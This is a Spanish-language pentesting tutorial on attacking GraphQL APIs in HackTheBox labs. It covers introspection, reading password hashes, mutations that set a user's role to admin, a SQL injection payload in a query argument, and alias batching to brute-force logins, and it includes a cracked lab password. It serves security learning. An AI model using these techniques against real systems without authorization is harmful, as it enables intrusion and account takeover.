Pentesting GraphQL: introspección, consultas y mutaciones paso a paso
Cómo auditar una API GraphQL: encontrar el endpoint, volcar el esquema con introspección, leer datos que no deberías, abusar de mutaciones y saltarte límites con alias.
GraphQL es una forma de hacer APIs en la que el cliente decide qué datos quiere: en vez de muchas rutas (/api/users, /api/orders), hay un solo endpoint al que mandas una consulta. Para un atacante tiene una ventaja enorme: muchas veces la API te cuenta su esquema entero si se lo pides, con todos los tipos, campos y operaciones, incluidos los que la web no usa.
Lo mínimo que tienes que saber
- Query: lee datos.
{ user(id: 1) { username email } }. - Mutation: cambia datos.
mutation { updateUser(id: 1, role: "admin") { id } }. - Introspección: consultas especiales (
__schema,__type) que devuelven el esquema. En producción debería estar desactivada; en HTB y en muchas webs reales no lo está. - Todo va normalmente por POST con un JSON
{"query": "..."}, y las respuestas vienen en{"data": ...}o{"errors": ...}. Un error no siempre es un código 4xx: GraphQL suele responder200con el error dentro.
Requisitos
curlyjq.- Burp Suite con la extensión InQL (desde el BApp Store) para ver el esquema como un árbol y generar consultas.
- Opcional: GraphQL Voyager para dibujar el esquema.
- Para practicar: Help (fácil, Linux) y Cereal (difícil, Windows).
Paso 1: encontrar el endpoint
Las rutas típicas son /graphql, /api/graphql, /graphiql, /v1/graphql, /playground y /query. Búscalas con ffuf:
ffuf -u http://10.10.10.121:3000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/graphql.txt -mc all -fc 404
graphql [Status: 400, Size: 18, Words: 3, Lines: 1]
Un 400 con un mensaje como GET query missing. o Must provide query string. es buena señal. Mira también el JavaScript de la web: si el frontend usa GraphQL, verás el endpoint y consultas enteras.
Paso 2: confirmar que es GraphQL
La consulta más pequeña posible es __typename, que existe en cualquier servidor:
curl -s http://10.10.10.121:3000/graphql -H 'Content-Type: application/json' \
-d '{"query":"{__typename}"}'
{"data":{"__typename":"Query"}}
Si responde eso, tienes GraphQL. Si el servidor no acepta JSON, prueba por GET: curl -s 'http://10.10.10.121:3000/graphql?query={__typename}'.
Paso 3: volcar el esquema con introspección
Pide la lista de tipos con sus campos y argumentos:
curl -s http://10.10.10.121:3000/graphql -H 'Content-Type: application/json' \
-d '{"query":"{__schema{queryType{name} mutationType{name} types{name kind fields{name args{name} type{name kind ofType{name}}}}}}"}' \
| jq '.data.__schema.types[] | select(.name | startswith("__") | not) | {name, fields: [.fields[]?.name]}'
{
"name": "Query",
"fields": ["user"]
}
{
"name": "User",
"fields": ["username", "password"]
}
Ignora los tipos que empiezan por __ (son del propio GraphQL) y los escalares (String, Int, Boolean). Lo que importa:
- Los campos del tipo Query: lo que puedes leer.
- Los del tipo Mutation (si
mutationTypeno esnull): lo que puedes cambiar. - Los campos con nombres jugosos:
password,token,role,isAdmin,apiKey,secret.
Truco
Para esquemas grandes, carga el endpoint en InQL (pestaña Scanner) o copia la consulta de introspección completa que trae y pega la respuesta en GraphQL Voyager. Ver el esquema como un grafo ahorra mucho tiempo.
Paso 4: leer lo que no deberías
Con el esquema, pide directamente los campos interesantes:
curl -s http://10.10.10.121:3000/graphql -H 'Content-Type: application/json' \
-d '{"query":"{ user { username password } }"}'
{"data":{"user":{"username":"[email protected]","password":"<hash MD5>"}}}
Es la entrada de Help: el hash MD5 se crackea (godhelpmeplz) y con esas credenciales entras en HelpDeskZ. El cracking está en la guía de hashcat y John.
Prueba también con los argumentos: si una consulta recibe un id, cambia el número para ver datos de otros usuarios. Es un IDOR igual que en una API REST.
Paso 5: si la introspección está desactivada
Responderá algo como GraphQL introspection is not allowed. Aun así, muchos servidores sugieren nombres cuando te equivocas:
curl -s http://10.10.10.10/graphql -H 'Content-Type: application/json' -d '{"query":"{ usr }"}'
{"errors":[{"message":"Cannot query field \"usr\" on type \"Query\". Did you mean \"user\" or \"users\"?"}]}
La herramienta clairvoyance reconstruye el esquema entero a base de estas sugerencias:
pipx install clairvoyance
clairvoyance http://10.10.10.10/graphql -o esquema.json
Paso 6: mutaciones
Las mutaciones son donde están los fallos graves: cambiar el rol de un usuario, restablecer contraseñas o hacer que el servidor pida una URL.
curl -s http://10.10.10.10/graphql -H 'Content-Type: application/json' \
-d '{"query":"mutation { updateProfile(id: 2, role: \"admin\") { id role } }"}'
En Cereal una mutación recibe una URL que el servidor visita: un SSRF que lleva a la ejecución de código. Lee cada mutación del esquema y pregúntate qué pasa si le das un valor que no debería aceptar.
Paso 7: inyecciones en los argumentos
Los argumentos acaban muchas veces en una consulta SQL o NoSQL. Prueba los mismos payloads que en cualquier formulario:
curl -s http://10.10.10.10/graphql -H 'Content-Type: application/json' \
-d '{"query":"{ user(name: \"admin'"'"' OR 1=1-- -\") { username } }"}'
Si da un error de base de datos o devuelve más resultados, sigue con la guía de inyección SQL. sqlmap funciona si marcas el punto de inyección con * dentro de una petición guardada desde Burp.
Paso 8: alias para saltarse el límite de intentos
GraphQL permite varias operaciones en una sola petición con alias. Un límite de "5 intentos por petición" no sirve de nada:
mutation {
a1: login(username: "admin", password: "123456") { token }
a2: login(username: "admin", password: "password") { token }
a3: login(username: "admin", password: "qwerty") { token }
}
Genera cientos de alias con un pequeño script y mándalos de una vez.
Errores típicos
Must provide query string: falta la cabeceraContent-Type: application/jsono el cuerpo no es un JSON válido.- Las comillas del JSON te vuelven loco: escribe la consulta en un fichero y envíala con
curl -d @consulta.json, o usa Burp. Cannot query field "x" on type "Y": ese campo no existe en ese tipo. Vuelve al esquema; quizá está en un tipo anidado.- Todo devuelve
nullsin errores: necesitas autenticación. Busca untokenen las cookies o enlocalStoragey mándalo enAuthorization: Bearer .... - GET funciona y POST no (o al revés): algunos servidores solo aceptan uno de los dos. Si acepta GET con cookies, prueba también un CSRF.
Y después
Tienes las APIs en el apartado de mapeo de la checklist web, y el resto de fallos típicos de APIs (IDOR, mass assignment) en IDOR y mass assignment en APIs.